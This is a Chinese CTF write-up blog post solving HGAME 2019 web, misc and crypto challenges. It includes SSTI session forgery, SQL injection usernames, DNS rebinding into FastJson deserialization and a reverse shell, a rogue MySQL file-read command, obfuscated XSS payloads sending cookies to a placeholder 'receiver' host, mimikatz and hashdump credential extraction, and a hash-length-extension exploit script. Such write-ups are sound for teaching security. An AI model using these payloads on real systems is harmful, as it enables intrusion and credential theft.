web

happyPython [300]

flask SSTI,一开始以为要读文件或 getshell,但是过滤了圆括号一直无法成功,后来发现只要得到 flask app 的 SECRET_KEY 来伪造 session cookie 即可

首先注册并登录,在 URL 中进行测试,访问 “http://[REDACTED]/{{ 1+1 }}” 页面显示 “/2 doesn't exist.” 证明存在 SSTI 漏洞

通过 {{ config }},得到 “'SECRET_KEY': '9RxdzNwq7!nOoK3*'”

使用 noraj/flask-session-cookie-manager 库即可加解密 session cookie

$ python session_cookie_manager.py decode -s '9RxdzNwq7!nOoK3*' -c '.eJwlj0uqAjEQAO-StYt0ku5Oe5kh_UMRFGZ09Xh3d8B1UVD1V7
bc47iV63v_xKVsdy_Xku6Bs0ntGBmGHcAqQoayL1-yoEKmppsEt9GWo0dTyHkKIVpFNZa2qJMQFnsGEvtwd2oBHJ29k2k1IbMwOnGjNSMzTYeVS7Fjz-39e
sTz7CEBVkEGn9GdFFYn8oHJDCo9B8vELvP0PkfsvwnE8v8FhHpBvQ.XHHyjQ.9yOhR9EUct0NgifQt8-P-Cnrv5g'
{'_fresh': True, '_id': 'fdde5829035efec5311c051feb7dada9a101ffbfdc9e7242ad5de2b1f835ee9b09bbeab2e08651a7dfe567d4ddd62e17e37d36cb0c96ccec6e5626a8efffcb4c', 'csrf_token': '6917b9571d8e3d6b1a366d45f771b93f47985398', 'user_id': '55'}

将参数 user_id 的值改为 1,encode 得到 cookie 值,访问页面即可得到 flag

Flag: hgame{Qu_bu_la1_m1ng_z1_14}

happyPHP [300]

php Laravel 渗透

首先注册并登录,在 HTML 中发现注释 “https://github.com/Lou00/laravel”,拉取仓库后进行源码审计

在 app/Http/Controllers/SessionsController.php 中存在 SQL 注入漏洞

// ...[OMITTED]...
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
// ...[OMITTED]...

注册 name 为 ' union select email from users where id=1# 的用户并登录,得到管理员账号的邮箱字段为 “[email protected]

注册 ' union select password from users where id=1#,得到管理员账号的密码字段为 “eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==”

这是通过 Laravel 辅助函数 encrypt 加密得到的,解密需要使用 APP_KEY,而源码中并没有 .env 文件指定它

通过 git log 可以看到 .env 文件被删除,进行版本回退即可恢复

$ git log
commit 2b83986cd06306a71c315c5d5c7bb113f40782c0 (HEAD -> master, origin/master, origin/HEAD)
Author: Lou00 <[REDACTED]>
Date:   Wed Jan 23 12:11:23 2019 +0800

    Delete readme.md

commit f65702561830c4fe7e9df5936919e81be899f96f
Author: Lou00 <[REDACTED]>
Date:   Wed Jan 23 12:10:14 2019 +0800

    Delete .env

commit 92caefbeb6c6432a0dad2a9767350633ddbb0ea4
Author: Lou00 <[REDACTED]>
Date:   Wed Jan 23 12:09:40 2019 +0800

    first commit

$ git reset --hard 92caefbeb6c6432a0dad2a9767350633ddbb0ea4
HEAD is now at 92caefb first commit

既然 .env 已被恢复,在源码目录通过 artisan tinker 可以直接进行解密

$ php artisan tinker
Psy Shell v0.9.9 (PHP 7.3.2 — cli) by Justin Hileman
>>> decrypt('eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==');
=> "9pqfPIer0Ir9UUfR"

登录管理员账号即可得到 flag

Flag: hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

happyJava [600]

Spring Boot Actuator,可以用脚本扫描一下可访问的 actuator,发现 http://[REDACTED]:9876/mappings 可以得到路由表

{
    "/webjars/**": {
        "bean": "resourceHandlerMapping"
    },
    "/**": {
        "bean": "resourceHandlerMapping"
    },
    "/**/favicon.ico": {
        "bean": "faviconHandlerMapping"
    },
    "{[/index],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()"
    },
    "{[/you_will_never_find_this_interface],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
    },
    "{[/secret_flag_here],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
    },
    "{[/error],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"
    },
    "{[/error],produces=[text/html]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"
    },
    "{[/error]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"
    }
}

其中 /secret_flag_here 接口可以获得 flag,但仅限 IP 为 127.0.0.1 访问; /youwillneverfindthis_interface 接口接受一个 url 参数,会访问该 URL 并回显页面,但不能直接访问 127.0.0.1 或被解析到 127.0.0.1 的 URL

此时可以通过 DNS Rebinding 攻击,使程序第一次请求 DNS 解析时结果一般的 IP,进行 HTTP 请求时解析到 127.0.0.1,可以使用 nccgroup/singularity,或建立两条 A 记录,其中一条指向 127.0.0.1,有 1/4 的几率成功

成功后得到回显 “data cant be empty!”,给 URL 加上 data 参数 1 进行测试,返回 “WoW! Convert JSON to object...OK!\nResult: 1”

可能存在 FastJson 反序列化漏洞,经过测试发现可以提交经过两次 URLEncode 的 JSON payload 来进行攻击

相关资料请见这里

反弹 shell 后找到 flag 位于 /hgame_flag,读取即可

Flag: hgame{J4v4_ls_s0_34sy_4nd_s0_h4ppy}

happyGo [600]

一个包含以下功能的基于 beego v1.11.1 的网站,提供了源码

  • 用户注册、登录、上传头像
  • 留言查看、新建

类似 BCTF 2018 Web Checkin,但类似 CVE-2018-18925 的漏洞在该版本的 beego 中已被修复,需要进行源码审计找到另外的方法

在 controllers/userinfo.go 中:

func (c *UserInfoController) Post() {
    uid := c.GetSession("uid")
    if uid == nil {
        c.Abort("500")
    }

    f, h, err := c.GetFile("uploadname")
    if err != nil {
        c.Abort("500")
    }
    defer f.Close()
    c.SaveToFile("uploadname", "static/uploads/" + h.Filename)

    o := orm.NewOrm()
    u := models.Users{Id: uid.(int)}

    err = o.Read(&u)
    if err != nil {
        c.Abort("500")
    }
    u.Avatar = "/static/uploads/" + h.Filename
    _, err = o.Update(&u)
    if err != nil {
        c.Abort("500")
    }

    c.Redirect("/userinfo", http.StatusFound)
}

此处上传修改头像的逻辑存在漏洞,通过修改 POST 数据中的 name 参数(源码中的 h.Filename),即可使上传文件被保存到任意位置

在本地搭建好环境,得到一个 UID 为 "1" 的管理员账号的 session 文件,修改 name 参数指定目标路径上传后,修改 cookie PHPSESSID 的值即可使用它伪造身份

管理员账号可以进入后台管理界面,进行删除用户操作,相关实现位于 controllers/admin.go 中:

// ...[OMITTED]...
func (u *UserDelController) Get() {
    uid := u.GetSession("uid")
    if uid == nil {
        u.Abort("500")
    }

    if uid.(int) != 1 {
        u.Redirect("/", http.StatusFound)
        return
    }

    id := u.Ctx.Input.Param(":id")
    i, _ := strconv.Atoi(id)
    if i == 1 {
        u.Redirect("/admin", http.StatusFound)
        return
    }

    o := orm.NewOrm()
    user := models.Users{Id:i}
    err := o.Read(&user)
    if err != nil {
        u.Abort("500")
    }

    if user.Avatar != "/static/img/avatar.jpg" {
        os.Remove(user.Avatar)
    }

    o.QueryTable("messages").Filter("uid", id).Delete()
    o.Delete(&user)

    u.Redirect("/admin", http.StatusFound)
}
// ...[OMITTED]...

此处存在漏洞,通过修改上传头像的 name 参数,可以使数据库中该用户的头像文件字段(avatar)值为任意文件,然后被 “os.Remove(user.Avatar)” 操作删除

利用这个漏洞可以删除数据库配置文件 conf/app.conf,如果该文件不存在,就可以通过配置页面(install)重新配置数据库连接参数

然后通过搭建 恶意 MySQL 服务端,可以利用 “LOAD DATA INFILE” 语法使客户端读取指定文件内容,相关信息见这里

使用 bettercap 及其模块可以进行简单的搭建

$ bettercap -eval "set mysql.server.port 3307; set mysql.server.infile /flag; mysql.server on"

由于版本问题可能需要通过 tcpdump 抓包才能看到文件内容

(或使用 allyshka/Rogue-MySql-Server

综上,整体攻击流程为:

  • 注册用户 1,上传头像时指定 name 参数为 ../../conf/app.conf
  • 注册用户 2,上传头像时指定 name 参数为 ../../tmp/0/5/058090c5e2f3bec1f08b40ae7aac3bc2 ,文件内容为伪造的 UID="1" 的 session
  • 访问后台管理页面,删除用户 1
  • 指定数据库连接配置为搭建好的恶意 MySQL 服务端

(其中伪造的 session 文件路径随意,只需满足格式:../../tmp/substr(filename, 0, 1)/substr(filename, 1, 1)/filename

Flag: hgame{7e5b8be2-eef8-4dca-8997-9c4260fd34a8}

HappyXss [300]

XSS 题,大量敏感字符会被替换为 “ Happy ! ”

且有 CSP:“default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *”

可以通过加载远程样式表来发送 cookie

构造 JS 如下:

var a=document.createElement('link');a.rel='stylesheet';a.href='http://receiver/?a='+btoa(document.cookie);document.body.appendChild(a);

进行 ASCII 编码,绕过敏感字符替换

payload 如下:

<iframe src=javascript:eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,108,105,110,107,39,41,59,97,46,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,59,97,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))>

后来得知只要用如下 payload 即可绕过替换(<script ></script > 中的空格导致不匹配替换规则)

<script >eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,114,101,99,101,105,118,101,114,47,63,97,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script >
<!-- JS 代码为: window.location.href='http://receiver/xss.php?a='+document.cookie -->

打到 bot 的 cookie 中即有 flag

Flag: hgame{[email protected]_Haaaaaappy!!!}

misc

Warmup [100]

Windows minidump 内存取证,使用 mimikatz 即可获得用户密码

mimikatz # sekurlsa::minidump 1.gif
Switch to MINIDUMP : '1.gif'

mimikatz # sekurlsa::logonPasswords
% ...[OMITTED]... %
       tspkg :
         * Username : Hgame
         * Domain   : xyf-PC
         * Password : LOSER
% ...[OMITTED]... %

按题目要求计算得到密码 “LOSER” 的 SHA256 哈希值即为 flag

Flag: hgame{dd6dffcd56b77597157ac6c1beb514aa4c59d033098f806d88df89245824d3f5}

Clodown [200]

Windows 内存取证,使用 volatility 分析

(通过 imageinfo 插件分析得到的建议 profile 有误,实际应为 Win7SP1x64)

通过 hivelist 和 hashdump 插件来提取用户密码哈希值

$ python2 vol.py -f memory.mp4 --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a003652010 0x00000000260a9010 \SystemRoot\System32\Config\SAM
0xfffff8a0062bd010 0x000000002143e010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00000f010 0x000000002bfa9010 [no name]
0xfffff8a000024010 0x000000002bf34010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a0000652d0 0x000000002c3772d0 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0007e1010 0x0000000027e59010 \SystemRoot\System32\Config\SECURITY
0xfffff8a0007f8280 0x00000000279dd280 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a001041350 0x000000001de7c350 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a001087010 0x000000001071a010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a0017dd010 0x000000000bd36010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a002054010 0x000000006509d010 \??\C:\Users\xyf\ntuser.dat
0xfffff8a0020be010 0x00000000078b6010 \??\C:\Users\xyf\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a00364f010 0x0000000025e26010 \SystemRoot\System32\Config\DEFAULT

$ python2 vol.py -f memory.mp4 --profile=Win7SP1x64 hashdump -s 0xfffff8a003652010 -y 0xfffff8a000024010
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xyf:1001:aad3b435b51404eeaad3b435b51404ee:0bb8d932bbfee69fbc874214f39b1b67:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:291e1d2ec16a080d9132d9b71af271cc:::
Hgame:1003:aad3b435b51404eeaad3b435b51404ee:e527b386483119c5218d9bb836109739:::

将用户 xyf 的密码 NTLM 哈希值 “0bb8d932bbfee69fbc874214f39b1b67” 在 cmd5.com 找出一个对应密码(admin123456),再计算其 SHA256 即为题目要求的 flag

Flag: hgame{ac0e7d037817094e9e0b4441f9bae3209d67b02fa484917065f71b16109a1a78}

暗藏玄机 [150]

两张看着一样的 PNG 图片,猜测为盲水印隐写,可使用 chishaxie/BlindWaterMark 直接提取出隐写内容

$ python2 bwm.py decode "开学啦.png" "开学了.png" output.png
image<开学啦.png> + image(encoded)<开学了.png> -> watermark<output.png>

得到的图片中即含有 flag

Flag: hgame{h1de_in_THE_p1Cture}

crypto

easy_rsa [200]

RSA 共模攻击,通过如下 python 脚本即可解出 m

from libnum import *

e1 = 0x33240
e2 = 0x3e4f
N = 0x9439682bf1b4ab48c43c524778c579cc844b60872275725c1dc893b5bcb358b9f136e4dab2a06318bb0c80e202a14bc54ea334519bec023934e01e9378abf329893f3870979e9f2f2be8fff4df931216a77007a2509f49f697bf286285e97fac5dc6e4a164b5c2cc430887b18136437ba67777bda05aafdeaf918221c812b4c7d1665238f84ab0fab7a77fcae92a0596e58343be7a8e6e75a5017c63a67eb11964970659cd6110e9ec6502288e9e443d86229ef2364dfecb63e2d90993a75356854eb874797340eece1b19974e86bee07019610467d44ec595e04af02b574a97fa98bdb2e779871c804219cab715f4a80fef7f8fb52251d86077560b39c1c2a1
c1 = 0x7c7f315a3ebbe305c1ad8bd2f73b1bb8e300912b6b8ba1b331ac2419d3da5a9a605fd62915c11f8921c450525d2efda7d48f1e503041498f4f0676760b43c770ff2968bd942c7ef95e401dd7facbd4e5404a0ed3ad96ae505f87c4e12439a2da636f047d84b1256c0e363f63373732cbaf24bda22d931d001dcca124f5a19f9e28608ebd90161e728b782eb67deeba4cc81b6df4e7ee29a156f51a0e5148618c6e81c31a91036c982debd1897e6f3c1e5e248789c933a4bf30d0721a18ab8708d827858b77c1a020764550a7fe2ebd48b6848d9c4d211fd853b7a02a859fa0c72160675d832c94e0e43355363a2166b3d41b8137100c18841e34ff52786867d
c2 = 0xf3a8b9b739196ba270c8896bd3806e9907fca2592d28385ef24afadc2a408b7942214dad5b9e14808ab988fb15fbd93e725edcc0509ab0dd1656557019ae93c38031d2a7c84895ee3da1150eda04cd2815ee3debaa7c2651b62639f785f6cabf83f93bf3cce7778ab369631ea6145438c3cd4d93d6f2759be3cc187651a33b3cc4c3b477604477143c32dfff62461fdfd9f8aa879257489bbf977417ce0fbe89e3f2464475624aafef57dd9ea60339793c69b53ca71d745d626f45e6a7beb9fcbd9d1a259433d36139345b7bb4f392e78f1b5be0d2c56ad50767ee851fac670946356b3c05d0605bf243b89c7e683cc75030b71633632fb95c84075201352d6

a, b, d = xgcd(e1,e2)

if b < 0:
    c2 = invmod(c2, N)
    b = -b
if a < 0:
    c1 = invmod(c1, N)
    a = -a

m = (pow(c1,a,N) * pow(c2,b,N)) % N
m3 = nroot(m, d)
print(m3)

Flag: hgame{59594981651654789}

MixedRSA_Easy [400]

没做出来

Sign_in_SemiHard [500]

CNSS 2018 招新赛的题,通过如下 python 脚本即可解出 flag (需要 hashpumpy 模块进行哈希长度扩展攻击)

from hashpumpy import hashpump
from time import sleep
import socket
import re

#username: 01800000000000000000000000000000000000000000000000000000000000000000000000000000880000000000000064646d696e

originalPlainText = ['\x01'+'\x80'+'\x00'*14, '\x00'*16, '\x00'*8+'\x88'+'\x00'*7]
pad = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

def craftToken(craftedToken, decryptedUsername, step):
    step = 2 - step
    for i in range(16):
        craftedToken[step*16+i] = chr(ord(originalPlainText[step][i]) ^ ord(craftedToken[step*16+i]) ^ ord(decryptedUsername[step*16+i]))

    return craftedToken


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('47.95.212.185', 38611))
sleep(1)
response = s.recv(1024)
s.send('1\n')
response = s.recv(1024)
s.send('01\n')
response = s.recv(1024)
token = re.search(r'is:\s+(.*)\n', response).group(1)
craftedSig, _ = hashpump(token[-32:], '\x01', 'admin', 16)
print('Crafted sig: ' + craftedSig)

s.send('1\n')
response = s.recv(1024)
s.send('01800000000000000000000000000000000000000000000000000000000000000000000000000000880000000000000064646d696e\n')
response = s.recv(1024)
token = re.search(r'is:\s+(.*)\n', response).group(1)
token = list(token.decode('hex'))
token[48] = chr(ord(token[48]) ^ ord('d') ^ ord('a'))
token[-16:] = list(craftedSig.decode('hex'))
craftedToken = token
print('Crafted token: ' + ''.join(craftedToken).encode('hex'))

for step in range(0, 3):
    s.send('2\n')
    response = s.recv(1024)
    s.send(''.join(craftedToken).encode('hex') + '\n')
    response = s.recv(1024)
    decryptedUsername = re.search(r'hex\)\s+(.*)\s+is', response).group(1)
    decryptedUsername = list(pad(decryptedUsername.decode('hex')))
    craftedToken = craftToken(craftedToken, decryptedUsername, step)
    print('Crafted token: ' + ''.join(craftedToken).encode('hex'))

s.send('2\n')
response = s.recv(1024)
s.send(''.join(craftedToken).encode('hex') + '\n')
response = s.recv(1024)
print(response)
s.close()

Flag: hgame{hard_cryptooooo!}

分类: CTF信息安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注